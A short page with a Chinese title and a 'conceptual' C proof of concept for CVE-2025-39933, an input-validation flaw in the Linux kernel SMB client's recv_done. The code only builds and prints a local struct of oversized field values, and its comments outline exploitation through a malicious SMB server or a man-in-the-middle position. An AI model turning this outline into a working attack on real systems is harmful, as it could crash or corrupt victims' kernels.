CVE-2025-39933 Linux内核SMB客户端recv_done数据验证漏洞

// CVE-2025-39933 PoC - Conceptual demonstration // This vulnerability is in Linux kernel SMB client's recv_done function // The issue is lack of validation for data_offset, data_length, and remaining_data_length #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Simulated SMB response header structure struct smb2_transform_header { uint8_t protocol_id[4]; // 0xFE 'S' 'M' 'B' uint32_t header_length; uint64_t session_id; }; // Simulated malicious SMB response with invalid data_offset/data_length struct malicious_smb_response { uint32_t data_offset; // Intentionally set to invalid value uint32_t data_length; // Intentionally set to oversized value uint32_t remaining_data_length; // Intentionally set to invalid value uint8_t payload[256]; }; int main() { struct malicious_smb_response *resp; resp = (struct malicious_smb_response *)malloc(sizeof(struct malicious_smb_response)); if (!resp) { return -1; } // Craft malicious values to trigger the vulnerability // These values would cause out-of-bounds access in recv_done resp->data_offset = 0xFFFFFFFF; // Invalid: exceeds buffer resp->data_length = 0xFFFFFFFF; // Invalid: exceeds buffer resp->remaining_data_length = 0xFFFFFFFF; // Invalid: exceeds buffer memset(resp->payload, 'A', sizeof(resp->payload)); printf("Malicious SMB response crafted\n"); printf("data_offset: 0x%X\n", resp->data_offset); printf("data_length: 0x%X\n", resp->data_length); printf("remaining_data_length: 0x%X\n", resp->remaining_data_length); // In a real exploit, this response would be sent to a Linux SMB client // causing kernel panic or memory corruption in recv_done free(resp); return 0; } // Note: Actual exploitation requires: // 1. A malicious SMB server or MITM position // 2. Linux kernel with vulnerable smb/client code // 3. Triggering recv_done with the crafted response